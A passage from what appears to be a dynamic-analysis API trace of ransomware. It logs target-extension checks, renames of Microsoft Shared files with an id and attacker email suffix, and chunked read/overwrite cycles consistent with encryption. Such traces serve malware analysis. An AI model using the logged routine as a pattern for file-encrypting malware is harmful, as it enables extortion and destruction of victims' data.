Shared\\ink\\ipsita.xml") returned 61 [0037.766] lstrlenW (lpString=".jpg") returned 4 [0037.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.766] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0037.766] lstrlenW (lpString="ipsjpn.xml") returned 10 [0037.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.766] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2522) returned 1 [0037.766] CloseHandle (hObject=0x1a0) returned 1 [0037.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0037.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.766] lstrlenW (lpString=".doc") returned 4 [0037.767] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString=".docx") returned 5 [0037.767] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0037.767] lstrlenW (lpString=".pdf") returned 4 [0037.767] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString=".xls") returned 4 [0037.767] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString=".xlsx") returned 5 [0037.767] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0037.767] lstrlenW (lpString=".ppt") returned 4 [0037.767] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.767] lstrlenW (lpString=".zip") returned 4 [0037.767] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.767] lstrlenW (lpString=".rar") returned 4 [0037.767] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString=".bz2") returned 4 [0037.767] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString=".7z") returned 3 [0037.767] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.767] lstrlenW (lpString=".dbf") returned 4 [0037.767] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.767] lstrlenW (lpString=".1cd") returned 4 [0037.767] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.767] lstrlenW (lpString=".jpg") returned 4 [0037.767] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.767] lstrlenW (lpString=".doc") returned 4 [0037.767] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.768] lstrlenW (lpString=".docx") returned 5 [0037.768] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0037.768] lstrlenW (lpString=".pdf") returned 4 [0037.768] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.768] lstrlenW (lpString=".xls") returned 4 [0037.768] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.768] lstrlenW (lpString=".xlsx") returned 5 [0037.768] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0037.768] lstrlenW (lpString=".ppt") returned 4 [0037.768] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.768] lstrlenW (lpString=".zip") returned 4 [0037.768] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.768] lstrlenW (lpString=".rar") returned 4 [0037.768] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.768] lstrlenW (lpString=".bz2") returned 4 [0037.768] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.768] lstrlenW (lpString=".7z") returned 3 [0037.768] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.768] lstrlenW (lpString=".dbf") returned 4 [0037.768] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.768] lstrlenW (lpString=".1cd") returned 4 [0037.768] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0037.768] lstrlenW (lpString=".jpg") returned 4 [0037.768] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.768] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0037.768] lstrlenW (lpString="ipskor.xml") returned 10 [0037.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.769] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2568) returned 1 [0037.769] CloseHandle (hObject=0x1a0) returned 1 [0037.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0037.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.770] lstrlenW (lpString=".doc") returned 4 [0037.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.770] lstrlenW (lpString=".docx") returned 5 [0037.770] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0037.770] lstrlenW (lpString=".pdf") returned 4 [0037.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.770] lstrlenW (lpString=".xls") returned 4 [0037.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.770] lstrlenW (lpString=".xlsx") returned 5 [0037.770] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0037.770] lstrlenW (lpString=".ppt") returned 4 [0037.770] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.770] lstrlenW (lpString=".zip") returned 4 [0037.770] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.770] lstrlenW (lpString=".rar") returned 4 [0037.770] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.770] lstrlenW (lpString=".bz2") returned 4 [0037.770] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.770] lstrlenW (lpString=".7z") returned 3 [0037.770] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.770] lstrlenW (lpString=".dbf") returned 4 [0037.770] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.770] lstrlenW (lpString=".1cd") returned 4 [0037.770] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.771] lstrlenW (lpString=".jpg") returned 4 [0037.771] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.771] lstrlenW (lpString=".doc") returned 4 [0037.771] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString=".docx") returned 5 [0037.771] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0037.771] lstrlenW (lpString=".pdf") returned 4 [0037.771] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString=".xls") returned 4 [0037.771] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString=".xlsx") returned 5 [0037.771] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0037.771] lstrlenW (lpString=".ppt") returned 4 [0037.771] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.771] lstrlenW (lpString=".zip") returned 4 [0037.771] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.771] lstrlenW (lpString=".rar") returned 4 [0037.771] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString=".bz2") returned 4 [0037.771] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString=".7z") returned 3 [0037.771] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.771] lstrlenW (lpString=".dbf") returned 4 [0037.771] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.771] lstrlenW (lpString=".1cd") returned 4 [0037.771] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0037.771] lstrlenW (lpString=".jpg") returned 4 [0037.772] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.772] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0037.772] lstrlenW (lpString="ipsnld.xml") returned 10 [0037.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.772] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2626) returned 1 [0037.772] CloseHandle (hObject=0x1a0) returned 1 [0037.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0037.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.772] lstrlenW (lpString=".doc") returned 4 [0037.772] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.772] lstrlenW (lpString=".docx") returned 5 [0037.772] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0037.773] lstrlenW (lpString=".pdf") returned 4 [0037.773] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString=".xls") returned 4 [0037.773] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString=".xlsx") returned 5 [0037.773] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0037.773] lstrlenW (lpString=".ppt") returned 4 [0037.773] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.773] lstrlenW (lpString=".zip") returned 4 [0037.773] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.773] lstrlenW (lpString=".rar") returned 4 [0037.773] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString=".bz2") returned 4 [0037.773] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString=".7z") returned 3 [0037.773] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.773] lstrlenW (lpString=".dbf") returned 4 [0037.773] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.773] lstrlenW (lpString=".1cd") returned 4 [0037.773] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.773] lstrlenW (lpString=".jpg") returned 4 [0037.773] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.773] lstrlenW (lpString=".doc") returned 4 [0037.773] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.773] lstrlenW (lpString=".docx") returned 5 [0037.773] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0037.773] lstrlenW (lpString=".pdf") returned 4 [0037.773] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.774] lstrlenW (lpString=".xls") returned 4 [0037.774] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.774] lstrlenW (lpString=".xlsx") returned 5 [0037.774] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0037.774] lstrlenW (lpString=".ppt") returned 4 [0037.774] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.774] lstrlenW (lpString=".zip") returned 4 [0037.774] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.774] lstrlenW (lpString=".rar") returned 4 [0037.774] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.774] lstrlenW (lpString=".bz2") returned 4 [0037.774] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.774] lstrlenW (lpString=".7z") returned 3 [0037.774] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.774] lstrlenW (lpString=".dbf") returned 4 [0037.774] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.774] lstrlenW (lpString=".1cd") returned 4 [0037.774] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0037.774] lstrlenW (lpString=".jpg") returned 4 [0037.774] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.774] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0037.774] lstrlenW (lpString="ipsnor.xml") returned 10 [0037.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.775] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2580) returned 1 [0037.775] CloseHandle (hObject=0x1a0) returned 1 [0037.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0037.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0037.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0037.775] lstrlenW (lpString=".doc") returned 4 [0037.775] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.775] lstrlenW (lpString=".docx") returned 5 [0037.775] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0037.775] lstrlenW (lpString=".pdf") returned 4 [0037.775] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.775] lstrlenW (lpString=".xls") returned 4 [0037.775] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.775] lstrlenW (lpString=".xlsx") returned 5 [0037.775] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0037.775] lstrlenW (lpString=".ppt") returned 4 [0037.775] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0037.775] lstrlenW (lpString=".zip") returned 4 [0037.775] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.775] lstrlenW (lpString=".rar") returned 4 [0037.776] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.776] lstrlenW (lpString=".bz2") returned 4 [0037.776] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.776] lstrlenW (lpString=".7z") returned 3 [0037.776] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0037.776] lstrlenW (lpString=".dbf") returned 4 [0037.776] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0037.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.781] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfc6c | out: lpNewFilePointer=0x0) returned 1 [0037.781] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.781] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ebfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x2ebfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.785] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.785] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ebfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ebfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.790] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ebfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.790] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.790] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ebfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ebfc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.115] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.115] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2ebfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0038.136] SetEndOfFile (hFile=0x1a0) returned 1 [0038.136] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0038.516] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.516] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ebfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2ebfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.518] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.518] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ebfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2ebfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.520] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.520] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ebfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2ebfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.522] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0038.522] CloseHandle (hObject=0x1a0) returned 1 [0039.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0039.165] lstrlenW (lpString=".doc") returned 4 [0039.165] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.165] lstrlenW (lpString=".docx") returned 5 [0039.165] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0039.165] lstrlenW (lpString=".pdf") returned 4 [0039.165] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.165] lstrlenW (lpString=".xls") returned 4 [0039.165] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.165] lstrlenW (lpString=".xlsx") returned 5 [0039.166] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0039.166] lstrlenW (lpString=".ppt") returned 4 [0039.166] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 